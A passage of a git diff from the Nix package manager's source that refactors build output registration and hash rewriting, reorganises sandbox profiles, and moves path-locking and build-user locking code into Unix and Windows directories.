*/ + auto source = sinkToSource([&](Sink & nextSink) { + RewritingSink rsink(rewrites, nextSink); + dumpPath(actualPath, rsink); + rsink.flush(); + }); + Path tmpPath = actualPath + ".tmp"; + restorePath(tmpPath, *source); deletePath(actualPath); - sink.s = rewriteStrings(sink.s, outputRewrites); - StringSource source(sink.s); - restorePath(actualPath, source); + movePath(tmpPath, actualPath); /* FIXME: set proper permissions in restorePath() so we don't have to do another traversal. */ @@ -2444,27 +2474,26 @@ DrvOutputs LocalDerivationGoal::registerOutputs() } }; - auto rewriteRefs = [&]() -> std::pair { + auto rewriteRefs = [&]() -> StoreReferences { /* In the CA case, we need the rewritten refs to calculate the final path, therefore we look for a *non-rewritten self-reference, and use a bool rather try to solve the computationally intractable fixed point. */ - std::pair res { - false, - {}, + StoreReferences res { + .self = false, }; for (auto & r : references) { auto name = r.name(); auto origHash = std::string { r.hashPart() }; if (r == *scratchPath) { - res.first = true; + res.self = true; } else if (auto outputRewrite = get(outputRewrites, origHash)) { std::string newRef = *outputRewrite; newRef += '-'; newRef += name; - res.second.insert(StorePath { newRef }); + res.others.insert(StorePath { newRef }); } else { - res.second.insert(r); + res.others.insert(r); } } return res; @@ -2476,62 +2505,68 @@ DrvOutputs LocalDerivationGoal::registerOutputs() throw BuildError( "output path %1% without valid stats info", actualPath); - if (outputHash.method == FileIngestionMethod::Flat) { + if (outputHash.method.getFileIngestionMethod() == FileIngestionMethod::Flat) + { /* The output path should be a regular file without execute permission. */ if (!S_ISREG(st->st_mode) || (st->st_mode & S_IXUSR) != 0) throw BuildError( "output path '%1%' should be a non-executable regular file " - "since recursive hashing is not enabled (outputHashMode=flat)", + "since recursive hashing is not enabled (one of outputHashMode={flat,text} is true)", actualPath); } - rewriteOutput(); + rewriteOutput(outputRewrites); /* FIXME optimize and deduplicate with addToStore */ std::string oldHashPart { scratchPath->hashPart() }; - HashModuloSink caSink { outputHash.hashType, oldHashPart }; - switch (outputHash.method) { - case FileIngestionMethod::Recursive: - dumpPath(actualPath, caSink); - break; - case FileIngestionMethod::Flat: - readFile(actualPath, caSink); - break; - } - auto got = caSink.finish().first; - auto refs = rewriteRefs(); + auto got = [&]{ + auto fim = outputHash.method.getFileIngestionMethod(); + switch (fim) { + case FileIngestionMethod::Flat: + case FileIngestionMethod::NixArchive: + { + HashModuloSink caSink { outputHash.hashAlgo, oldHashPart }; + auto fim = outputHash.method.getFileIngestionMethod(); + dumpPath( + {getFSSourceAccessor(), CanonPath(actualPath)}, + caSink, + (FileSerialisationMethod) fim); + return caSink.finish().first; + } + case FileIngestionMethod::Git: { + return git::dumpHash( + outputHash.hashAlgo, + {getFSSourceAccessor(), CanonPath(tmpDir + "/tmp")}).hash; + } + } + assert(false); + }(); - auto finalPath = worker.store.makeFixedOutputPath( - outputHash.method, - got, - outputPathName(drv->name, outputName), - refs.second, - refs.first); - if (*scratchPath != finalPath) { - // Also rewrite the output path - auto source = sinkToSource([&](Sink & nextSink) { - RewritingSink rsink2(oldHashPart, std::string(finalPath.hashPart()), nextSink); - dumpPath(actualPath, rsink2); - rsink2.flush(); - }); - Path tmpPath = actualPath + ".tmp"; - restorePath(tmpPath, *source); - deletePath(actualPath); - movePath(tmpPath, actualPath); - } - - HashResult narHashAndSize = hashPath(htSHA256, actualPath); ValidPathInfo newInfo0 { - finalPath, - narHashAndSize.first, + worker.store, + outputPathName(drv->name, outputName), + ContentAddressWithReferences::fromParts( + outputHash.method, + std::move(got), + rewriteRefs()), + Hash::dummy, }; + if (*scratchPath != newInfo0.path) { + // If the path has some self-references, we need to rewrite + // them. + // (note that this doesn't invalidate the ca hash we calculated + // above because it's computed *modulo the self-references*, so + // it already takes this rewrite into account). + rewriteOutput( + StringMap{{oldHashPart, + std::string(newInfo0.path.hashPart())}}); + } - newInfo0.narSize = narHashAndSize.second; - newInfo0.ca = FixedOutputHash { - .method = outputHash.method, - .hash = got, - }; - newInfo0.references = refs.second; - if (refs.first) - newInfo0.references.insert(newInfo0.path); + { + HashResult narHashAndSize = hashPath( + {getFSSourceAccessor(), CanonPath(actualPath)}, + FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256); + newInfo0.narHash = narHashAndSize.first; + newInfo0.narSize = narHashAndSize.second; + } assert(newInfo0.ca); return newInfo0; @@ -2548,27 +2583,39 @@ DrvOutputs LocalDerivationGoal::registerOutputs() outputRewrites.insert_or_assign( std::string { scratchPath->hashPart() }, std::string { requiredFinalPath.hashPart() }); - rewriteOutput(); - auto narHashAndSize = hashPath(htSHA256, actualPath); + rewriteOutput(outputRewrites); + HashResult narHashAndSize = hashPath( + {getFSSourceAccessor(), CanonPath(actualPath)}, + FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256); ValidPathInfo newInfo0 { requiredFinalPath, narHashAndSize.first }; newInfo0.narSize = narHashAndSize.second; auto refs = rewriteRefs(); - newInfo0.references = refs.second; - if (refs.first) + newInfo0.references = std::move(refs.others); + if (refs.self) newInfo0.references.insert(newInfo0.path); return newInfo0; }, [&](const DerivationOutput::CAFixed & dof) { + auto & wanted = dof.ca.hash; + + // Replace the output by a fresh copy of itself to make sure + // that there's no stale file descriptor pointing to it + Path tmpOutput = actualPath + ".tmp"; + copyFile( + std::filesystem::path(actualPath), + std::filesystem::path(tmpOutput), true); + + std::filesystem::rename(tmpOutput, actualPath); + auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating { - .method = dof.hash.method, - .hashType = dof.hash.hash.type, + .method = dof.ca.method, + .hashAlgo = wanted.algo, }); /* Check wanted hash */ - const Hash & wanted = dof.hash.hash; assert(newInfo0.ca); - auto got = getContentAddressHash(*newInfo0.ca); + auto & got = newInfo0.ca->hash; if (wanted != got) { /* Throw an error after registering the path as valid. */ @@ -2576,9 +2623,14 @@ DrvOutputs LocalDerivationGoal::registerOutputs() delayedException = std::make_exception_ptr( BuildError("hash mismatch in fixed-output derivation '%s':\n specified: %s\n got: %s", worker.store.printStorePath(drvPath), - wanted.to_string(SRI, true), - got.to_string(SRI, true))); + wanted.to_string(HashFormat::SRI, true), + got.to_string(HashFormat::SRI, true))); } + if (!newInfo0.references.empty()) + delayedException = std::make_exception_ptr( + BuildError("illegal path references in fixed-output derivation '%s'", + worker.store.printStorePath(drvPath))); + return newInfo0; }, @@ -2595,11 +2647,11 @@ DrvOutputs LocalDerivationGoal::registerOutputs() [&](const DerivationOutput::Impure & doi) { return newInfoFromCA(DerivationOutput::CAFloating { .method = doi.method, - .hashType = doi.hashType, + .hashAlgo = doi.hashAlgo, }); }, - }, output->raw()); + }, output->raw); /* FIXME: set proper permissions in restorePath() so we don't have to do another traversal. */ @@ -2740,7 +2792,7 @@ DrvOutputs LocalDerivationGoal::registerOutputs() means it's safe to link the derivation to the output hash. We must do that for floating CA derivations, which otherwise couldn't be cached, but it's fine to do in all cases. */ - DrvOutputs builtOutputs; + SingleDrvOutputs builtOutputs; for (auto & [outputName, newInfo] : infos) { auto oldinfo = get(initialOutputs, outputName); @@ -2752,14 +2804,13 @@ DrvOutputs LocalDerivationGoal::registerOutputs() }, .outPath = newInfo.path }; - if (settings.isExperimentalFeatureEnabled(Xp::CaDerivations) - && drv->type().isPure()) + if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations) + && !drv->type().isImpure()) { signRealisation(thisRealisation); worker.store.registerDrvOutput(thisRealisation); } - if (wantOutput(outputName, wantedOutputs)) - builtOutputs.emplace(thisRealisation.id, thisRealisation); + builtOutputs.emplace(outputName, thisRealisation); } return builtOutputs; @@ -2885,6 +2936,24 @@ void LocalDerivationGoal::checkOutputs(const std::mapgetStructuredAttrs()) { + if (get(*structuredAttrs, "allowedReferences")){ + warn("'structuredAttrs' disables the effect of the top-level attribute 'allowedReferences'; use 'outputChecks' instead"); + } + if (get(*structuredAttrs, "allowedRequisites")){ + warn("'structuredAttrs' disables the effect of the top-level attribute 'allowedRequisites'; use 'outputChecks' instead"); + } + if (get(*structuredAttrs, "disallowedRequisites")){ + warn("'structuredAttrs' disables the effect of the top-level attribute 'disallowedRequisites'; use 'outputChecks' instead"); + } + if (get(*structuredAttrs, "disallowedReferences")){ + warn("'structuredAttrs' disables the effect of the top-level attribute 'disallowedReferences'; use 'outputChecks' instead"); + } + if (get(*structuredAttrs, "maxSize")){ + warn("'structuredAttrs' disables the effect of the top-level attribute 'maxSize'; use 'outputChecks' instead"); + } + if (get(*structuredAttrs, "maxClosureSize")){ + warn("'structuredAttrs' disables the effect of the top-level attribute 'maxClosureSize'; use 'outputChecks' instead"); + } if (auto outputChecks = get(*structuredAttrs, "outputChecks")) { if (auto output = get(*outputChecks, outputName)) { Checks checks; @@ -2933,7 +3002,7 @@ void LocalDerivationGoal::checkOutputs(const std::mapisBuiltin()) { @@ -2941,7 +3010,8 @@ void LocalDerivationGoal::deleteTmpDir(bool force) chmod(tmpDir.c_str(), 0755); } else - deletePath(tmpDir); + deletePath(topTmpDir); + topTmpDir = ""; tmpDir = ""; } } @@ -2950,23 +3020,32 @@ void LocalDerivationGoal::deleteTmpDir(bool force) bool LocalDerivationGoal::isReadDesc(int fd) { return (hook && DerivationGoal::isReadDesc(fd)) || - (!hook && fd == builderOut.readSide.get()); + (!hook && fd == builderOut.get()); } -StorePath LocalDerivationGoal::makeFallbackPath(std::string_view outputName) +StorePath LocalDerivationGoal::makeFallbackPath(OutputNameView outputName) { + // This is a bogus path type, constructed this way to ensure that it doesn't collide with any other store path + // See doc/manual/src/protocols/store-path.md for details + // TODO: We may want to separate the responsibilities of constructing the path fingerprint and of actually doing the hashing + auto pathType = "rewrite:" + std::string(drvPath.to_string()) + ":name:" + std::string(outputName); return worker.store.makeStorePath( - "rewrite:" + std::string(drvPath.to_string()) + ":name:" + std::string(outputName), - Hash(htSHA256), outputPathName(drv->name, outputName)); + pathType, + // pass an all-zeroes hash + Hash(HashAlgorithm::SHA256), outputPathName(drv->name, outputName)); } StorePath LocalDerivationGoal::makeFallbackPath(const StorePath & path) { + // This is a bogus path type, constructed this way to ensure that it doesn't collide with any other store path + // See doc/manual/src/protocols/store-path.md for details + auto pathType = "rewrite:" + std::string(drvPath.to_string()) + ":" + std::string(path.to_string()); return worker.store.makeStorePath( - "rewrite:" + std::string(drvPath.to_string()) + ":" + std::string(path.to_string()), - Hash(htSHA256), path.name()); + pathType, + // pass an all-zeroes hash + Hash(HashAlgorithm::SHA256), path.name()); } diff --git a/src/libstore/unix/build/local-derivation-goal.hh b/src/libstore/unix/build/local-derivation-goal.hh new file mode 100644 index 000000000..bf25cf2a6 --- /dev/null +++ b/src/libstore/unix/build/local-derivation-goal.hh @@ -0,0 +1,312 @@ +#pragma once +///@file + +#include "derivation-goal.hh" +#include "local-store.hh" +#include "processes.hh" + +namespace nix { + +struct LocalDerivationGoal : public DerivationGoal +{ + LocalStore & getLocalStore(); + + /** + * User selected for running the builder. + */ + std::unique_ptr buildUser; + + /** + * The process ID of the builder. + */ + Pid pid; + + /** + * The cgroup of the builder, if any. + */ + std::optional cgroup; + + /** + * The temporary directory used for the build. + */ + Path tmpDir; + + /** + * The top-level temporary directory. `tmpDir` is either equal to + * or a child of this directory. + */ + Path topTmpDir; + + /** + * The path of the temporary directory in the sandbox. + */ + Path tmpDirInSandbox; + + /** + * Master side of the pseudoterminal used for the builder's + * standard output/error. + */ + AutoCloseFD builderOut; + + /** + * Pipe for synchronising updates to the builder namespaces. + */ + Pipe userNamespaceSync; + + /** + * The mount namespace and user namespace of the builder, used to add additional + * paths to the sandbox as a result of recursive Nix calls. + */ + AutoCloseFD sandboxMountNamespace; + AutoCloseFD sandboxUserNamespace; + + /** + * On Linux, whether we're doing the build in its own user + * namespace. + */ + bool usingUserNamespace = true; + + /** + * Whether we're currently doing a chroot build. + */ + bool useChroot = false; + + /** + * The parent directory of `chrootRootDir`. It has permission 700 + * and is owned by root to ensure other users cannot mess with + * `chrootRootDir`. + */ + Path chrootParentDir; + + /** + * The root of the chroot environment. + */ + Path chrootRootDir; + + /** + * RAII object to delete the chroot directory. + */ + std::shared_ptr autoDelChroot; + + /** + * Whether to run the build in a private network namespace. + */ + bool privateNetwork = false; + + /** + * Stuff we need to pass to initChild(). + */ + struct ChrootPath { + Path source; + bool optional; + ChrootPath(Path source = "", bool optional = false) + : source(source), optional(optional) + { } + }; + typedef map PathsInChroot; // maps target path to source path + PathsInChroot pathsInChroot; + + typedef map Environment; + Environment env; + +#if __APPLE__ + typedef std::string SandboxProfile; + SandboxProfile additionalSandboxProfile; +#endif + + /** + * Hash rewriting. + */ + StringMap inputRewrites, outputRewrites; + typedef map RedirectedOutputs; + RedirectedOutputs redirectedOutputs; + + /** + * The output paths used during the build. + * + * - Input-addressed derivations or fixed content-addressed outputs are + * sometimes built when some of their outputs already exist, and can not + * be hidden via sandboxing. We use temporary locations instead and + * rewrite after the build. Otherwise the regular predetermined paths are + * put here. + * + * - Floating content-addressed derivations do not know their final build + * output paths until the outputs are hashed, so random locations are + * used, and then renamed. The randomness helps guard against hidden + * self-references. + */ + OutputPathMap scratchOutputs; + + uid_t sandboxUid() { return usingUserNamespace ? (!buildUser || buildUser->getUIDCount() == 1 ? 1000 : 0) : buildUser->getUID(); } + gid_t sandboxGid() { return usingUserNamespace ? (!buildUser || buildUser->getUIDCount() == 1 ? 100 : 0) : buildUser->getGID(); } + + const static Path homeDir; + + /** + * The recursive Nix daemon socket. + */ + AutoCloseFD daemonSocket; + + /** + * The daemon main thread. + */ + std::thread daemonThread; + + /** + * The daemon worker threads. + */ + std::vector daemonWorkerThreads; + + /** + * Paths that were added via recursive Nix calls. + */ + StorePathSet addedPaths; + + /** + * Realisations that were added via recursive Nix calls. + */ + std::set addedDrvOutputs; + + /** + * Recursive Nix calls are only allowed to build or realize paths + * in the original input closure or added via a recursive Nix call + * (so e.g. you can't do 'nix-store -r /nix/store/' where + * /nix/store/ is some arbitrary path in a binary cache). + */ + bool isAllowed(const StorePath & path) + { + return inputPaths.count(path) || addedPaths.count(path); + } + bool isAllowed(const DrvOutput & id) + { + return addedDrvOutputs.count(id); + } + + bool isAllowed(const DerivedPath & req); + + friend struct RestrictedStore; + + using DerivationGoal::DerivationGoal; + + virtual ~LocalDerivationGoal() override; + + /** + * Whether we need to perform hash rewriting if there are valid output paths. + */ + bool needsHashRewrite(); + + /** + * The additional states. + */ + Goal::Co tryLocalBuild() override; + + /** + * Start building a derivation. + */ + void startBuilder(); + + /** + * Fill in the environment for the builder. + */ + void initEnv(); + + /** + * Setup tmp dir location. + */ + void initTmpDir(); + + /** + * Write a JSON file containing the derivation attributes. + */ + void writeStructuredAttrs(); + + void startDaemon(); + + void stopDaemon(); + + /** + * Add 'path' to the set of paths that may be referenced by the + * outputs, and make it appear in the sandbox. + */ + void addDependency(const StorePath & path); + + /** + * Make a file owned by the builder. + */ + void chownToBuilder(const Path & path); + + int getChildStatus() override; + + /** + * Run the builder's process. + */ + void runChild(); + + /** + * Check that the derivation outputs all exist and register them + * as valid. + */ + SingleDrvOutputs registerOutputs() override; + + void signRealisation(Realisation &) override; + + /** + * Check that an output meets the requirements specified by the + * 'outputChecks' attribute (or the legacy + * '{allowed,disallowed}{References,Requisites}' attributes). + */ + void checkOutputs(const std::map & outputs); + + /** + * Close the read side of the logger pipe. + */ + void closeReadPipes() override; + + /** + * Cleanup hooks for buildDone() + */ + void cleanupHookFinally() override; + void cleanupPreChildKill() override; + void cleanupPostChildKill() override; + bool cleanupDecideWhetherDiskFull() override; + void cleanupPostOutputsRegisteredModeCheck() override; + void cleanupPostOutputsRegisteredModeNonCheck() override; + + bool isReadDesc(int fd) override; + + /** + * Delete the temporary directory, if we have one. + */ + void deleteTmpDir(bool force); + + /** + * Forcibly kill the child process, if any. + * + * Called by destructor, can't be overridden + */ + void killChild() override final; + + /** + * Kill any processes running under the build user UID or in the + * cgroup of the build. + */ + void killSandbox(bool getStats); + + /** + * Create alternative path calculated from but distinct from the + * input, so we can avoid overwriting outputs (or other store paths) + * that already exist. + */ + StorePath makeFallbackPath(const StorePath & path); + + /** + * Make a path to another based on the output name along with the + * derivation hash. + * + * @todo Add option to randomize, so we can audit whether our + * rewrites caught everything + */ + StorePath makeFallbackPath(OutputNameView outputName); +}; + +} diff --git a/src/libstore/sandbox-defaults.sb b/src/libstore/unix/build/sandbox-defaults.sb similarity index 93% rename from src/libstore/sandbox-defaults.sb rename to src/libstore/unix/build/sandbox-defaults.sb index d9d710559..15cd6daf5 100644 --- a/src/libstore/sandbox-defaults.sb +++ b/src/libstore/unix/build/sandbox-defaults.sb @@ -1,3 +1,5 @@ +R""( + (define TMPDIR (param "_GLOBAL_TMP_DIR")) (deny default) @@ -15,6 +17,9 @@ ; Allow POSIX semaphores and shared memory. (allow ipc-posix*) +; Allow SYSV semaphores and shared memory. +(allow ipc-sysv*) + ; Allow socket creation. (allow system-socket) @@ -43,7 +48,8 @@ ; allow it if the package explicitly asks for it. (if (param "_ALLOW_LOCAL_NETWORKING") (begin - (allow network* (local ip) (local tcp) (local udp)) + (allow network* (remote ip "localhost:*")) + (allow network-inbound (local ip "*:*")) ; required to bind and listen ; Allow access to /etc/resolv.conf (which is a symlink to ; /private/var/run/resolv.conf). @@ -66,6 +72,7 @@ (allow file* (literal "/dev/null") (literal "/dev/random") + (literal "/dev/stderr") (literal "/dev/stdin") (literal "/dev/stdout") (literal "/dev/tty") @@ -104,3 +111,5 @@ (subpath "/System/Library/Apple/usr/libexec/oah") (subpath "/System/Library/LaunchDaemons/com.apple.oahd.plist") (subpath "/Library/Apple/System/Library/LaunchDaemons/com.apple.oahd.plist")) + +)"" diff --git a/src/libstore/sandbox-minimal.sb b/src/libstore/unix/build/sandbox-minimal.sb similarity index 92% rename from src/libstore/sandbox-minimal.sb rename to src/libstore/unix/build/sandbox-minimal.sb index 65f5108b3..976a1f636 100644 --- a/src/libstore/sandbox-minimal.sb +++ b/src/libstore/unix/build/sandbox-minimal.sb @@ -1,5 +1,9 @@ +R""( + (allow default) ; Disallow creating setuid/setgid binaries, since that ; would allow breaking build user isolation. (deny file-write-setugid) + +)"" diff --git a/src/libstore/sandbox-network.sb b/src/libstore/unix/build/sandbox-network.sb similarity index 98% rename from src/libstore/sandbox-network.sb rename to src/libstore/unix/build/sandbox-network.sb index 19e9eea9a..335edbaed 100644 --- a/src/libstore/sandbox-network.sb +++ b/src/libstore/unix/build/sandbox-network.sb @@ -1,3 +1,5 @@ +R""( + ; Allow local and remote network traffic. (allow network* (local ip) (remote ip)) @@ -18,3 +20,5 @@ ; Allow access to trustd. (allow mach-lookup (global-name "com.apple.trustd")) (allow mach-lookup (global-name "com.apple.trustd.agent")) + +)"" diff --git a/src/libstore/unix/meson.build b/src/libstore/unix/meson.build new file mode 100644 index 000000000..d9d190131 --- /dev/null +++ b/src/libstore/unix/meson.build @@ -0,0 +1,19 @@ +sources += files( + 'build/child.cc', + 'build/hook-instance.cc', + 'build/local-derivation-goal.cc', + 'pathlocks.cc', + 'user-lock.cc', +) + +include_dirs += include_directories( + '.', + 'build', +) + +headers += files( + 'build/child.hh', + 'build/hook-instance.hh', + 'build/local-derivation-goal.hh', + 'user-lock.hh', +) diff --git a/src/libstore/unix/pathlocks.cc b/src/libstore/unix/pathlocks.cc new file mode 100644 index 000000000..1ec4579ec --- /dev/null +++ b/src/libstore/unix/pathlocks.cc @@ -0,0 +1,163 @@ +#include "pathlocks.hh" +#include "util.hh" +#include "sync.hh" +#include "signals.hh" + +#include +#include + +#include +#include +#include +#include + + +namespace nix { + +AutoCloseFD openLockFile(const Path & path, bool create) +{ + AutoCloseFD fd; + + fd = open(path.c_str(), O_CLOEXEC | O_RDWR | (create ? O_CREAT : 0), 0600); + if (!fd && (create || errno != ENOENT)) + throw SysError("opening lock file '%1%'", path); + + return fd; +} + + +void deleteLockFile(const Path & path, Descriptor desc) +{ + /* Get rid of the lock file. Have to be careful not to introduce + races. Write a (meaningless) token to the file to indicate to + other processes waiting on this lock that the lock is stale + (deleted). */ + unlink(path.c_str()); + writeFull(desc, "d"); + /* Note that the result of unlink() is ignored; removing the lock + file is an optimisation, not a necessity. */ +} + + +bool lockFile(Descriptor desc, LockType lockType, bool wait) +{ + int type; + if (lockType == ltRead) type = LOCK_SH; + else if (lockType == ltWrite) type = LOCK_EX; + else if (lockType == ltNone) type = LOCK_UN; + else unreachable(); + + if (wait) { + while (flock(desc, type) != 0) { + checkInterrupt(); + if (errno != EINTR) + throw SysError("acquiring/releasing lock"); + else + return false; + } + } else { + while (flock(desc, type | LOCK_NB) != 0) { + checkInterrupt(); + if (errno == EWOULDBLOCK) return false; + if (errno != EINTR) + throw SysError("acquiring/releasing lock"); + } + } + + return true; +} + + +bool PathLocks::lockPaths(const PathSet & paths, + const std::string & waitMsg, bool wait) +{ + assert(fds.empty()); + + /* Note that `fds' is built incrementally so that the destructor + will only release those locks that we have already acquired. */ + + /* Acquire the lock for each path in sorted order. This ensures + that locks are always acquired in the same order, thus + preventing deadlocks. */ + for (auto & path : paths) { + checkInterrupt(); + Path lockPath = path + ".lock"; + + debug("locking path '%1%'", path); + + AutoCloseFD fd; + + while (1) { + + /* Open/create the lock file. */ + fd = openLockFile(lockPath, true); + + /* Acquire an exclusive lock. */ + if (!lockFile(fd.get(), ltWrite, false)) { + if (wait) { + if (waitMsg != "") printError(waitMsg); + lockFile(fd.get(), ltWrite, true); + } else { + /* Failed to lock this path; release all other + locks. */ + unlock(); + return false; + } + } + + debug("lock acquired on '%1%'", lockPath); + + /* Check that the lock file hasn't become stale (i.e., + hasn't been unlinked). */ + struct stat st; + if (fstat(fd.get(), &st) == -1) + throw SysError("statting lock file '%1%'", lockPath); + if (st.st_size != 0) + /* This lock file has been unlinked, so we're holding + a lock on a deleted file. This means that other + processes may create and acquire a lock on + `lockPath', and proceed. So we must retry. */ + debug("open lock file '%1%' has become stale", lockPath); + else + break; + } + + /* Use borrow so that the descriptor isn't closed. */ + fds.push_back(FDPair(fd.release(), lockPath)); + } + + return true; +} + + +void PathLocks::unlock() +{ + for (auto & i : fds) { + if (deletePaths) deleteLockFile(i.second, i.first); + + if (close(i.first) == -1) + printError( + "error (ignored): cannot close lock file on '%1%'", + i.second); + + debug("lock released on '%1%'", i.second); + } + + fds.clear(); +} + + +FdLock::FdLock(Descriptor desc, LockType lockType, bool wait, std::string_view waitMsg) + : desc(desc) +{ + if (wait) { + if (!lockFile(desc, lockType, false)) { + printInfo("%s", waitMsg); + acquired = lockFile(desc, lockType, true); + } + } else + acquired = lockFile(desc, lockType, false); +} + + +} diff --git a/src/libstore/lock.cc b/src/libstore/unix/user-lock.cc similarity index 77% rename from src/libstore/lock.cc rename to src/libstore/unix/user-lock.cc index d02d20b4c..29f4b2cb3 100644 --- a/src/libstore/lock.cc +++ b/src/libstore/unix/user-lock.cc @@ -1,12 +1,40 @@ -#include "lock.hh" -#include "globals.hh" -#include "pathlocks.hh" - +#include #include #include +#include "user-lock.hh" +#include "file-system.hh" +#include "globals.hh" +#include "pathlocks.hh" +#include "users.hh" + namespace nix { +#if __linux__ + +static std::vector get_group_list(const char *username, gid_t group_id) +{ + std::vector gids; + gids.resize(32); // Initial guess + + auto getgroupl_failed {[&] { + int ngroups = gids.size(); + int err = getgrouplist(username, group_id, gids.data(), &ngroups); + gids.resize(ngroups); + return err == -1; + }}; + + // The first error means that the vector was not big enough. + // If it happens again, there is some different problem. + if (getgroupl_failed() && getgroupl_failed()) { + throw SysError("failed to get list of supplementary groups for '%s'", username); + } + + return gids; +} +#endif + + struct SimpleUserLock : UserLock { AutoCloseFD fdUserLock; @@ -67,37 +95,14 @@ struct SimpleUserLock : UserLock throw Error("the Nix user should not be a member of '%s'", settings.buildUsersGroup); #if __linux__ - /* Get the list of supplementary groups of this build - user. This is usually either empty or contains a - group such as "kvm". */ - int ngroups = 32; // arbitrary initial guess - std::vector gids; - gids.resize(ngroups); - - int err = getgrouplist( - pw->pw_name, pw->pw_gid, - gids.data(), - &ngroups); - - /* Our initial size of 32 wasn't sufficient, the - correct size has been stored in ngroups, so we try - again. */ - if (err == -1) { - gids.resize(ngroups); - err = getgrouplist( - pw->pw_name, pw->pw_gid, - gids.data(), - &ngroups); - } - - // If it failed once more, then something must be broken. - if (err == -1) - throw Error("failed to get list of supplementary groups for '%s'", pw->pw_name); + /* Get the list of supplementary groups of this user. This is + * usually either empty or contains a group such as "kvm". */ // Finally, trim back the GID list to its real size. - for (auto i = 0; i < ngroups; i++) - if (gids[i] != lock->gid) - lock->supplementaryGIDs.push_back(gids[i]); + for (auto gid : get_group_list(pw->pw_name, pw->pw_gid)) { + if (gid != lock->gid) + lock->supplementaryGIDs.push_back(gid); + } #endif return lock; @@ -123,9 +128,13 @@ struct AutoUserLock : UserLock std::vector getSupplementaryGIDs() override { return {}; } - static std::unique_ptr acquire(uid_t nrIds, bool useChroot) + static std::unique_ptr acquire(uid_t nrIds, bool useUserNamespace) { - settings.requireExperimentalFeature(Xp::AutoAllocateUids); + #if !defined(__linux__) + useUserNamespace = false; + #endif + + experimentalFeatureSettings.require(Xp::AutoAllocateUids); assert(settings.startId > 0); assert(settings.uidCount % maxIdsPerBuild == 0); assert((uint64_t) settings.startId + (uint64_t) settings.uidCount <= std::numeric_limits::max()); @@ -157,7 +166,7 @@ struct AutoUserLock : UserLock auto lock = std::make_unique(); lock->fdUserLock = std::move(fd); lock->firstUid = firstUid; - if (useChroot) + if (useUserNamespace) lock->firstGid = firstUid; else { struct group * gr = getgrnam(settings.buildUsersGroup.get().c_str()); @@ -174,10 +183,10 @@ struct AutoUserLock : UserLock } }; -std::unique_ptr acquireUserLock(uid_t nrIds, bool useChroot) +std::unique_ptr acquireUserLock(uid_t nrIds, bool useUserNamespace) { if (settings.autoAllocateUids) - return AutoUserLock::acquire(nrIds, useChroot); + return AutoUserLock::acquire(nrIds, useUserNamespace); else return SimpleUserLock::acquire(); } @@ -185,10 +194,10 @@ std::unique_ptr acquireUserLock(uid_t nrIds, bool useChroot) bool useBuildUsers() { #if __linux__ - static bool b = (settings.buildUsersGroup != "" || settings.autoAllocateUids) && getuid() == 0; + static bool b = (settings.buildUsersGroup != "" || settings.autoAllocateUids) && isRootUser(); return b; #elif __APPLE__ - static bool b = settings.buildUsersGroup != "" && getuid() == 0; + static bool b = settings.buildUsersGroup != "" && isRootUser(); return b; #else return false; diff --git a/src/libstore/lock.hh b/src/libstore/unix/user-lock.hh similarity index 56% rename from src/libstore/lock.hh rename to src/libstore/unix/user-lock.hh index 49ad86de7..a7caf8518 100644 --- a/src/libstore/lock.hh +++ b/src/libstore/unix/user-lock.hh @@ -1,9 +1,8 @@ #pragma once +///@file -#include "types.hh" - -#include - +#include +#include #include namespace nix { @@ -12,14 +11,18 @@ struct UserLock { virtual ~UserLock() { } - /* Get the first and last UID. */ + /** + * Get the first and last UID. + */ std::pair getUIDRange() { auto first = getUID(); return {first, first + getUIDCount() - 1}; } - /* Get the first UID. */ + /** + * Get the first UID. + */ virtual uid_t getUID() = 0; virtual uid_t getUIDCount() = 0; @@ -29,9 +32,11 @@ struct UserLock virtual std::vector getSupplementaryGIDs() = 0; }; -/* Acquire a user lock for a UID range of size `nrIds`. Note that this - may return nullptr if no user is available. */ -std::unique_ptr acquireUserLock(uid_t nrIds, bool useChroot); +/** + * Acquire a user lock for a UID range of size `nrIds`. Note that this + * may return nullptr if no user is available. + */ +std::unique_ptr acquireUserLock(uid_t nrIds, bool useUserNamespace); bool useBuildUsers(); diff --git a/src/libstore/windows/meson.build b/src/libstore/windows/meson.build new file mode 100644 index 000000000..b81c5b2af --- /dev/null +++ b/src/libstore/windows/meson.build @@ -0,0 +1,11 @@ +sources += files( + 'pathlocks.cc', +) + +include_dirs += include_directories( + '.', + #'build', +) + +headers += files( +) diff --git a/src/libstore/windows/pathlocks.cc b/src/libstore/windows/pathlocks.cc new file mode 100644 index 000000000..00761a8c3 --- /dev/null +++ b/src/libstore/windows/pathlocks.cc @@ -0,0 +1,156 @@ +#include "logging.hh" +#include "pathlocks.hh" +#include "signals.hh" +#include "util.hh" +#include +#include +#include +#include "windows-error.hh" + +namespace nix { + +using namespace nix::windows; + +void deleteLockFile(const Path & path, Descriptor desc) +{ + + int exit = DeleteFileA(path.c_str()); + if (exit == 0) + warn("%s: &s", path, std::to_string(GetLastError())); +} + +void PathLocks::unlock() +{ + for (auto & i : fds) { + if (deletePaths) + deleteLockFile(i.second, i.first); + + if (CloseHandle(i.first) == -1) + printError("error (ignored): cannot close lock file on '%1%'", i.second); + + debug("lock released on '%1%'", i.second); + } + + fds.clear(); +} + +AutoCloseFD openLockFile(const Path & path, bool create) +{ + AutoCloseFD desc = CreateFileA( + path.c_str(), + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + create ? OPEN_ALWAYS : OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL | FILE_FLAG_POSIX_SEMANTICS, + NULL); + if (desc.get() == INVALID_HANDLE_VALUE) + warn("%s: %s", path, std::to_string(GetLastError())); + + return desc; +} + +bool lockFile(Descriptor desc, LockType lockType, bool wait) +{ + switch (lockType) { + case ltNone: { + OVERLAPPED ov = {0}; + if (!UnlockFileEx(desc, 0, 2, 0, &ov)) { + WinError winError("Failed to unlock file desc %s", desc); + throw winError; + } + return true; + } + case ltRead: { + OVERLAPPED ov = {0}; + if (!LockFileEx(desc, wait ? 0 : LOCKFILE_FAIL_IMMEDIATELY, 0, 1, 0, &ov)) { + WinError winError("Failed to lock file desc %s", desc); + if (winError.lastError == ERROR_LOCK_VIOLATION) + return false; + throw winError; + } + + ov.Offset = 1; + if (!UnlockFileEx(desc, 0, 1, 0, &ov)) { + WinError winError("Failed to unlock file desc %s", desc); + if (winError.lastError != ERROR_NOT_LOCKED) 